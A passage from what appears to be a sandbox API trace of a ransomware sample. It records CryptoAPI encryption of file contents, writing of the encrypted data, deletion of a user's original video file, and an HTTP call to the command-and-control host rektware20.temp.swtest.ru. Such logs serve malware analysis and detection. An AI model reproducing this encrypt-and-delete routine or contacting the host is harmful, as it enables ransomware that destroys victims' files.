lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.498] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.498] CryptGetKeyParam (in: hKey=0x164c8b0, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.499] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.499] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.499] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.499] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.499] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.499] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.499] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.499] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.500] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.500] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.500] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xaffe, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xb000) returned 1 [0067.500] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.501] CharLowerBuffW (in: lpsz="byte[45057]", cchLength=0xb | out: lpsz="byte[45057]") returned 0xb [0067.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.501] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.501] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.501] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.502] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.502] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x189e028*, pdwDataLen=0x130e618*=0xaffe, dwBufLen=0xb000 | out: pbData=0x189e028*, pdwDataLen=0x130e618*=0xb000) returned 1 [0067.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.502] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.502] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.502] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.502] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.505] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xb000, lpOverlapped=0x0) returned 1 [0067.506] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.506] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.506] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.506] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.506] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.506] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.506] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.507] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.507] CryptDestroyKey (hKey=0x164c8b0) returned 1 [0067.507] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.507] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.507] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.507] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.507] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.507] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.507] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.507] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.508] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.508] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.508] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.508] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.508] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.508] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.508] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.508] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.508] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0067.508] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.508] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.508] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.508] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.508] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.508] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.508] CloseHandle (hObject=0x3bc) returned 1 [0067.510] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.510] CloseHandle (hObject=0x2ac) returned 1 [0067.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.512] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.512] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", lpFilePart=0x0) returned 0x40 [0067.512] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\dfxi7b5getnjdy.flv")) returned 0x20 [0067.512] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0067.513] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\dfxi7b5getnjdy.flv")) returned 1 [0067.515] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.515] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0067.515] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.515] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.515] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.515] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.515] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.515] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.516] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.516] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.516] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.516] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.516] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.516] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c) returned 1 [0067.516] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.516] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.516] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.517] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.517] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.517] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.517] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.518] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.518] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.518] CloseHandle (hObject=0x0) returned 0 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\gWl3XRfneh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.518] CompareStringW 